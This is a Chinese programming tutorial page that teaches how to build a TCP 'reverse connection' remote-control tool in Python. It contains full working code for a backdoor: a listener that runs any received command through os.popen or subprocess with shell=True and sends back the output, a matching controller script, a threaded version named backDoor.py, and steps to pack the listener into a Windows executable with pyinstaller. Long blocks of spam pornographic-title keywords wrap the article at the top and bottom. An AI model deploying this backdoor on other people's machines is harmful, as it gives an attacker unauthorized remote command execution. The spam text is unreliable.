成人性生交大片免费看视频r_亚洲综合极品香蕉久久网_在线视频免费观看一区_亚洲精品亚洲人成人网在线播放_国产精品毛片av_久久久久国产精品www_亚洲国产一区二区三区在线播_日韩一区二区三区四区区区_亚洲精品国产无套在线观_国产免费www

主頁 > 知識庫 > Python實現(xiàn)Socket通信建立TCP反向連接

Python實現(xiàn)Socket通信建立TCP反向連接

熱門標(biāo)簽:地圖標(biāo)注審核表 湛江智能外呼系統(tǒng)廠家 ai電銷機器人源碼 宿遷星美防封電銷卡 百度地圖標(biāo)注沒有了 長沙高頻外呼系統(tǒng)原理是什么 ai電話機器人哪里好 外呼并發(fā)線路 西藏房產(chǎn)智能外呼系統(tǒng)要多少錢

前言

本文將記錄學(xué)習(xí)基于 Socket 通信機制建立 TCP 反向連接,借助 Python 腳本實現(xiàn)主機遠(yuǎn)程控制的目的。

我們在傳輸數(shù)據(jù)時,可以只使用(傳輸層)TCP/IP 協(xié)議,但是那樣的話,如果沒有應(yīng)用層,便無法識別數(shù)據(jù)內(nèi)容,如果想要使傳輸?shù)臄?shù)據(jù)有意義,則必須使用到應(yīng)用層協(xié)議,應(yīng)用層協(xié)議有很多,比如 HTTP、FTP、TELNET 等,也可以自己定義應(yīng)用層協(xié)議。而 Socket 是對 TCP/IP 協(xié)議的封裝,Socket 本身并不是協(xié)議,而是一個調(diào)用接口(API),通過 Socket 我們才能使用 TCP/IP 協(xié)議。

HTTP 連接與 Socket 連接的區(qū)別

  • HTTP 是短連接,Socket (基于 TCP 協(xié)議的)是長連接。盡管 HTTP1.1 開始支持持久連接,但仍無法保證始終連接。而 Socket 連接一旦建立 TCP 三次握手,除非一方主動斷開,否則連接狀態(tài)一直保持。
  • HTTP連接,服務(wù)端無法主動發(fā)消息,Socket 連接,雙方請求的發(fā)送無先后限制。這點就比較重要了,因為它將決定二者分別適合應(yīng)用在什么場景下。HTTP 采用“請求-響應(yīng)”機制,在客戶端還沒發(fā)送消息給服務(wù)端前,服務(wù)端無法推送消息給客戶端。必須滿足客戶端發(fā)送消息在前,服務(wù)端回復(fù)在后。Socket 連接雙方類似 peer2peer 的關(guān)系,一方隨時可以向另一方喊話。

什么時候該用 HTTP,什么時候該用 Socket?

  • 用 HTTP 的情況:雙方不需要時刻保持連接在線,比如客戶端資源的獲取、文件上傳等。
  • 用 Socket 的情況:大部分即時通訊應(yīng)用(QQ、微信)、聊天室、蘋果APNs等。

Python3 關(guān)于 Socket 網(wǎng)絡(luò)編程的相關(guān)語法知識可以參見:Python3 網(wǎng)絡(luò)編程。

遠(yuǎn)程控制

下面開始來看看如何借助 Python 實現(xiàn)對目標(biāo)主機的遠(yuǎn)程控制。

腳本編寫

ServerAttack.py 受控端腳本如下:

import socket
import os

ip = ""      # 空表示可連接所有主機
port = 5555  # 設(shè)置端口

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    # 對象s 使用基于tcp協(xié)議的網(wǎng)絡(luò)套接字
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)  # 關(guān)閉后不需要保存狀態(tài)可以立即開啟
s.bind((ip, port))  # 對象s 開始綁定ip和端口
s.listen(10)        # 啟動監(jiān)聽狀態(tài),設(shè)置隊列中等待連接服務(wù)器的最大請求數(shù)10
conn, addr = s.accept()       # 當(dāng)與別人建立連接 addr,conn 變量分別存對方ip和連接的對象
print("已建立遠(yuǎn)程連接:", addr)  # 顯示對方地址

while True:
    data = conn.recv(1024)  # 接收對方字符串 #如果對方不發(fā)數(shù)據(jù)會卡住
    if data == b"q":        # 接收到程序終止信號則中斷連接
        break
    data = str(data, encoding="utf8")  # 將數(shù)據(jù)轉(zhuǎn)換為字符串類型
    print("遠(yuǎn)程主機請求的命令:", data)
    f = os.popen(data)  # 可以將命令的內(nèi)容以讀取的方式返回
    data2 = f.read()
    if data2 == "":
        conn.send(b"finish")
    else:
        conn.send(bytes(data2, encoding="utf8"))  # 發(fā)送命令運行結(jié)果

conn.close()  # 斷開連接
s.close()     # 關(guān)閉套結(jié)字

ClientAttack.py 控制端腳本如下:

import socket

ip = "192.168.146.126"  # 對方服務(wù)器ip地址
port = 5555             # 對方服務(wù)器的端口

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  # 對象s使用基于tcp協(xié)議的網(wǎng)絡(luò)套接字
s.connect((ip, port))   # 創(chuàng)建socket連接

while True:
    data = input("請輸入命令:")
    data = bytes(data, encoding="utf8")
    s.send(data)          # 發(fā)送數(shù)據(jù)給對方
    data2 = s.recv(1024)  # 接收返回的數(shù)據(jù)
    print(str(data2, encoding="utf8"))
    if data == b"q":
        break

s.close()

效果演示

1、Linux 遠(yuǎn)控

將 ServerAttack.py 受控端腳本拷貝至 Linux 系統(tǒng)并運行,同時 Win10 物理機運行 ClientAttack.py 控制端腳本,可實現(xiàn)遠(yuǎn)程連接控制:

2、Windows 遠(yuǎn)控

使用 pyinstaller 打包 ServerAttack.py 生成 ServerAttack.exe 可執(zhí)行文件(pyinstaller -F ServerAttack.py),然后在 Win7 虛擬機運行生成的 ServerAttack.exe 文件,效果如下:

腳本優(yōu)化

下面使用多線程、腳本參數(shù)設(shè)置、腳本幫助提示、客戶端服務(wù)端代碼集成來優(yōu)化上述實現(xiàn)遠(yuǎn)程控制的腳本。

getopt ()

Python 中 getopt 模塊是專門用來處理命令行參數(shù)的,函數(shù)格式:

getopt(args, shortopts, longopts = [])

參數(shù)解析如下:

參數(shù) 釋義 補充
args 要解析的參數(shù)列表 一般是sys.argv[1:],表示獲取的參數(shù)不包括當(dāng)前執(zhí)行的 python 腳本名稱
shortopts 要識別的短格式 (-) 選項字符串,如果后接:表示需要給定參數(shù) ab:c:,表示識別 -a, -b 和 -c 的短選項,其中 -b 和 -c 需要后接參數(shù)
longopts = [] 要識別的長格式(–)選項,如果后接=表示需要給定參數(shù) 如[“help”, “user=”, “password=”],表示識別--help, --user=root, --password=123456的長選項

函數(shù)返回值由兩個元素組成:

  • 第一個是 (option, value) 元組的列表,(option, value) 元組中的 option 表示包含-或--前綴的選項,value 表示該 option 對應(yīng)的參數(shù),可以為空字符串表示無參數(shù);
  • 第二個是 args 剝離短選項及其參數(shù)和長選項及其參數(shù)之后剩余的參數(shù)列表。

完整代碼

import socket
import getopt
import sys
import subprocess
from threading import Thread


def main():
    target = ""  # 目標(biāo)IP
    port = 0     # 目標(biāo)端口
    listen = False
    help = False

    # 利用getopt模塊從命令行獲取參數(shù),sys.argv[1:]可以過濾掉第一個參數(shù)(第一個參數(shù)是腳本的名稱,它不應(yīng)該作為參數(shù)進行解析)
    opts, args = getopt.getopt(sys.argv[1:], "t:p:hl")
    for o, a in opts:
        if o == "-t":
            target = a
        elif o == "-p":
            port = int(a)
        elif o == "-h":
            help = True
        elif o == "-l":
            listen = True
        else:
            # 斷言,傳入的參數(shù)有誤
            assert False, "Unhandled Option"

    # 輸出幫助文檔
    if help:
        usage()

    # 獲分客戶端和服務(wù)端
    if listen:
        server_handle(port)
    else:
        client_handle(target, port)


# 受控端
def server_handle(port):
    # 創(chuàng)建socket通道
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # 綁定
    server.bind(('0.0.0.0', port))
    # 監(jiān)聽
    server.listen(10)
    print("[*] Listening on 0.0.0.0:%d" % port)
    while True:
        client_socket, addr = server.accept()
        print("[*] Accept connection from %s:%d" % (addr[0], addr[1]))
        t = Thread(target=run_command, args=(client_socket, server,))
        t.start()


# 控制端,發(fā)送命令,接收受控端命令行的回顯內(nèi)容
def client_handle(target, port):
    # 創(chuàng)建socket通道
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # 連接服務(wù)器
    client.connect((target, port))
    # 接收數(shù)據(jù)
    while True:
        recv_len = 1
        # 接收到的數(shù)據(jù)是utf-8
        resBuffer = "".encode('utf-8')
        while recv_len:
            data = client.recv(4096)
            recv_len = len(data)
            resBuffer += data
            if recv_len  4096:
                break
        # 在windows下中文會亂碼,所以轉(zhuǎn)成GBK
        print(resBuffer.decode('gbk'), end="")
        # 接收命令,發(fā)送命令需要將命令轉(zhuǎn)成byte,并且編碼是utf-8
        buffer = input("")
        if buffer.encode('utf-8') == b"quit":
            break
        buffer += "\n"
        client.send(buffer.encode('utf-8'))
    client.close()


# 執(zhí)行命令涵數(shù)
def run_command(client_socket,s):
    while True:
        # 發(fā)送命令給客戶端
        client_socket.send(b"shell_>")
        # 定義接收命令byte類型變量
        cmd_buffer = "".encode('utf-8')
        # 接收客戶端發(fā)過來的消息,直到預(yù)到換行,代表客戶端消息輸入完成
        while b"\n" not in cmd_buffer:
            cmd_buffer += client_socket.recv(1024)
        if cmd_buffer == b"quit":
            break
        # 將完整的byte變量消息轉(zhuǎn)成字符串
        cmd_buffer = cmd_buffer.decode()
        try:
            # 通過隧道執(zhí)行命令并以byte數(shù)據(jù)類型返回輸出的數(shù)據(jù)
            out = subprocess.check_output(cmd_buffer, stderr=subprocess.STDOUT, shell=True)
            # 將返回的數(shù)據(jù)發(fā)送給客戶端
            client_socket.send(out)
        except:
            client_socket.send(b"faild to execute the command")
    client_socket.close()  # 斷開連接
    s.close()  # 關(guān)閉套結(jié)字
    exit(0)


# 輸出幫助信息
def usage():
    print("help info : python backDoor.py -h")
    print("client : python backDoor.py -t [target] -p [port]")
    print("server : python backDoor.py -lp [port]")
    print("Exit :Input quit to exit ")
    sys.exit()


if __name__ == "__main__":
    main()

效果演示

獲取腳本幫助提示、進行遠(yuǎn)程連接:

到此這篇關(guān)于Python實現(xiàn)Socket通信建立TCP反向連接的文章就介紹到這了,更多相關(guān)Python TCP反向連接內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

您可能感興趣的文章:
  • 基于python模擬TCP3次握手連接及發(fā)送數(shù)據(jù)
  • python中協(xié)程實現(xiàn)TCP連接的實例分析

標(biāo)簽:寧夏 海南 大同 盤錦 南平 林芝 普洱 漯河

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《Python實現(xiàn)Socket通信建立TCP反向連接》,本文關(guān)鍵詞  Python,實現(xiàn),Socket,通信,建立,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請?zhí)峁┫嚓P(guān)信息告之我們,我們將及時溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《Python實現(xiàn)Socket通信建立TCP反向連接》相關(guān)的同類信息!
  • 本頁收集關(guān)于Python實現(xiàn)Socket通信建立TCP反向連接的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章
    91超碰caoporn97人人| 精品人妻一区二区三区浪潮在线| 乱中年女人av三区中文字幕| 在线中文字幕视频| 日本激情一区二区三区| 亚洲精品一区二区三区四区高清| 日韩av中文字幕一区二区三区| 欧美另类中文字幕| 国产精品理论在线观看| 精品久久久久久久一区二区蜜臀| 老司机在线精品视频| 久久99亚洲热视| 精品福利视频导航大全| 成人av网站观看| 国产精品美女久久久久久久久久久| 日韩av在线发布| 97视频com| 亚洲色图16p| 色偷偷偷在线视频播放| 91禁国产网站| avtt在线播放| 视频欧美精品| 欧美激情综合色综合啪啪| 国产手机视频一区二区| 中文在线免费二区三区| 制服诱惑一区二区| 日韩成人网免费视频| 精品亚洲porn| 亚洲一级片在线观看| 性高爱久久久久久久久| 欧美三级黄色大片| 久久伊人资源站| 91精品国产91久久久久久不卡| 欧美激情福利视频在线观看免费| 欧美激情二区| 国产中文在线| 日韩精品视频播放| 欧美精品久久久久久久免费| 最近中文字幕第一页| 欧洲杯半决赛直播| 久久久久亚洲AV成人无码国产| 国产又猛又黄又爽| 亚洲欧美中文在线视频| 国产成人精品综合在线观看| 91看片官网| 久久久精品综合| 91青青草视频| 亚洲欧美日韩人成在线播放| 91最新国产视频| 国内精品久久久久久久影视麻豆| 538任你躁在线精品视频网站| 国产在线一区二| 调教+趴+乳夹+国产+精品| 黑鬼大战白妞高潮喷白浆| 欧美中文一区二区三区| 高清视频欧美一级| 国产午夜精品理论片a级大结局| 激情六月天婷婷| 后进极品白嫩翘臀在线播放| 夜夜狠狠擅视频| 自拍偷拍亚洲视频| 日韩一区二区三区在线| 99re6这里只有精品视频在线观看| 好吊色在线观看| 中文在线天堂库| 日韩一区二区不卡视频| 亚洲视频www| 三年中国中文观看免费播放| 国产丰满果冻videossex| 久久精品国产v日韩v亚洲| 男人的天堂狠狠干| 5858s免费视频成人| 精品中文字幕不卡在线视频| 国产精品视频福利一区二区| 一本色道婷婷久久欧美| 美国欧美日韩国产在线播放| 久久久久久久久电影| 亚洲午夜精品一区二区国产| av亚洲精华国产精华精| 日韩激情一区二区| 国产精品中文久久久久久| 国产成人精品999| 在线观看亚洲国产| 国产福利91精品一区二区三区| 精品亚洲aⅴ无码一区二区三区| av中文网站| 国产精品久久久久久久久免费桃花| 亚洲三级在线免费观看| 成人在线观看网站| 日韩高清dvd碟片| 免费在线观看的av| 久久久久久久久丰满| 欧美色18zzzzxxxxx| 草草影院第一页| 日韩中文字幕在线播放| 国产成人精品电影| 超碰97人人射妻| 最新中文字幕2018| 欧美激情一区二区三区四区| 亚洲欧美一区二区激情| 国产精品久久久久久久成人午夜| 国产乱码精品一区二区三区四区| 久久99精品久久久久久园产越南| 欧美亚洲一区二区在线| 亚洲欧洲日韩| 国产高清久久久久| 久久aaaa片一区二区| 一区视频网站| 国产精品国产a级| 日韩va欧美va亚洲va久久| 亚洲美女电影在线| 九九久久久久午夜精选| 国产美女高潮一区二区三区| 78m国产成人精品视频| 国产网站在线免费观看| 国产在线观看免费视频软件| 色噜噜色狠狠狠狠狠综合色一| 国产精品1234区| av日韩在线免费| 北条麻妃99精品青青久久| 亚洲经典自拍| 国产在线不卡精品| 欧美午夜不卡影院在线观看完整版免费| 98精品国产高清在线xxxx天堂| eeuss网址直达入口| 亚洲精品白浆高清| 国产黄色激情视频| 久久精品99久久久久久久久| 另类色图亚洲色图| 亚洲人成在线播放| 亚洲婷婷综合久久一本伊一区| 久久中文亚洲字幕| 成人免费在线视频| 国产91丝袜在线18| 亚洲区免费视频| 视频一区二区精品的福利| 成人激情文学综合网| 亚洲国产日韩在线一区| 日韩精品日韩在线观看| 免费久久99精品国产自在现线| 色哟哟精品一区| 欧美日韩三区| 一区二区日韩| 精品美女一区二区三区| 午夜精品一区二区三区国产| 国产色视频网站| 无码人妻aⅴ一区二区三区有奶水| 91伦理视频在线观看| 视频在线观看一区| 欧美人与物videos另类| 日韩av影音先锋| 丝袜国产在线| 国产欧美日本亚洲精品一4区| 亚洲电影成人av99爱色| 制服视频三区第一页精品| 自产国语精品视频| 免费看日韩av| 免费看的国产视频网站| 精品国精品国产自在久不卡| 亚洲欧美色图片| 秋霞午夜理伦电影在线观看| 天天操天天干天天做| 亚洲综合一区二区| 激情五月色婷婷| 992tv在线观看在线播放| 一区二区三区在线视频免费| 在线观看精品视频一区二区三区| 国产精品国产三级国产传播| 日韩中文视频| 中文字幕+乱码+中文字幕一区| 成 人免费视频播放| 四虎5151久久欧美毛片| 拍真实国产伦偷精品| 亚洲一区二区三区四区在线免费观看| 91亚洲精品久久久蜜桃网站| 亚洲免费一级片| 欧美成人激情在线| aaaa黄色片| 一级黄色av| 亚洲欧洲黄色网| 在线播放国产一区| 成人一区二区三| 国产一级片麻豆| 香蕉精品视频在线| 国产日韩免费| 日韩av在线综合| 欧美黄色aaaa| 亚洲人体影院| 亚洲欧美一二三区| 4438国产精品一区二区| 欧美精品日韩精品| 超碰中文字幕在线观看| 图片区偷拍区小说区| 一区二区三区av电影| 国产美女福利视频| 国产永久免费网站| **三级三级97片毛片| 日本a级片在线播放| 亚洲视频播放| 国产精品777一区二区| 国产精选久久久久久| 在线免费观看视频一区| 69欧美性猛交| 国产精品白嫩初高中害羞小美女| 国产精品视频自拍| 国产91足控脚交在线观看| 亚洲精品一区二区三| 欧美精品 国产精品| 国产精品探花在线| 中文字幕有码在线观看| 日韩高清三级| 人成免费电影一二三区在线观看| 国产精品久久网| 国产一区二区香蕉| jvid一区二区三区| 国产成人天天5g影院在线观看| 91性高湖久久久久久久久_久久99| 在线国产中文字幕| 亚洲激情图片一区| 国产欧洲在线| 亚洲v日本v欧美v久久精品| 最新亚洲精品国自产在线观看| 福利网址在线观看| 亚洲影院在线播放| 麻豆精品蜜桃视频网站| 自拍网站在线观看| 日韩在线视频二区| www.17c.com喷水少妇| 日日躁夜夜躁人人揉av五月天| 黄色片大全在线观看| 亚洲欧美怡红院| 欧美91看片特黄aaaa| 吉吉日韩欧美| 亚洲少妇视频| 国产欧美日韩视频一区二区| 亚洲成年人影院在线| 婷婷亚洲五月色综合| 成人在线视频免费看| 天天免费亚洲黑人免费| 亚洲精选一区二区三区| 婷婷丁香激情五月| 1区2区3区在线| 99精品国产高清在线观看| 精久久久久久久久久久| 中日韩av电影| 国产视频一区在线播放| 精品亚洲综合| 国产欧美日韩视频| 8x8x8x视频在线观看| 无码人妻精品一区二区蜜桃网站| 欧美在线一区视频| 八戒八戒神马在线电影| 免费不卡亚洲欧美| 亚洲一区二区三区三州| 91在线精品视频| 宅男在线一区| 国产精品zjzjzj在线观看| 蜜桃视频在线观看成人| 蜜桃999成人看片在线观看| 91精品国产91久久久久久吃药| 国产乱视频在线观看| 极品少妇一区二区三区精品视频| 国产麻豆a毛片| 亚洲私人影院在线观看| 国产精品成人国产乱| 日本a级c片免费看三区| 香蕉视频黄色片| 91午夜交换视频| 国产一区二区在线|播放| 色在人av网站天堂精品| 五月婷婷六月激情| www.日韩不卡电影av| 热99在线观看| 精品久久国产一区| 国产美女www爽爽爽| 一本色道88久久加勒比精品| 伊人av在线| 欧美 日韩 激情| 久久久视频6r| 国内成人精品视频| 在线看国产视频| 欧美大片免费观看在线观看网站推荐| 蜜桃久久精品一区二区| 一区二区三区视频网站| 国产视频丨精品|在线观看| 久久精品免费观看| 久久精品影视伊人网| 国产视频一区三区| 久久夜夜久久| 亚洲区小说区图片区qvod| 亚洲一区二区精品视频| 热久久免费国产视频| 欧美人善zozσ性伦交| 拔插拔插海外华人免费| 精品在线播放视频| 国产精品亚洲二区在线观看| 欧美一区二区在线免费观看| 国产乡下妇女做爰毛片| 免费成人美女在线观看.| 国产a区久久久| av天天在线| 成人激情校园春色| 日本国产精品视频| 成人在线观看免费完整| 中文字幕免费一区二区| 国产欧美日产一区| 精品成人18| 亚洲综合激情| 亚洲成人综合视频| 欧美日韩一二区| 免费网站在线观看视频| 久99久精品视频免费观看| 亚洲福利电影| 99视频国产精品免费观看| 欧美黑人xxxx猛牲大交| 国产视频一区二区三区四区| 欧美亚洲国产怡红院影院| 一级片视频在线观看| 日本在线视频一区| 日本中文字幕高清| 日韩精品久久久久| 亚洲精品中文字幕乱码三区91| 国产精品一区二区人人爽| 午夜在线a亚洲v天堂网2018| 亚洲午夜视频在线观看| 羞羞视频在线免费国产| 国产麻豆成人精品| 欧美日韩精品中文字幕一区二区|